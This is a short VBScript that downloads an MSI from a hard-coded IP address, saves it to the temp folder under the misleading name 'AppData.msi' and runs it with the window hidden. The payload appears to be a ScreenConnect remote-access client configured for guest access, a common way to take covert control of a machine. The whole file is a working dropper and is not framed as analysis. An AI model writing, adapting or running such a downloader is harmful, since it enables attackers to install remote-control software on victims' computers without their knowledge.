Dim url, tempPath, http, stream

url = "http://64.89.161.131/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"

Set WshShell = CreateObject("WScript.Shell")
tempPath = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\AppData.msi"

Set http = CreateObject("MSXML2.ServerXMLHTTP")
http.Open "GET", url, False
http.Send

If http.Status = 200 Then
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write http.responseBody
    stream.SaveToFile tempPath, 2
    stream.Close
    
    WshShell.Run Chr(34) & tempPath & Chr(34), 0
End If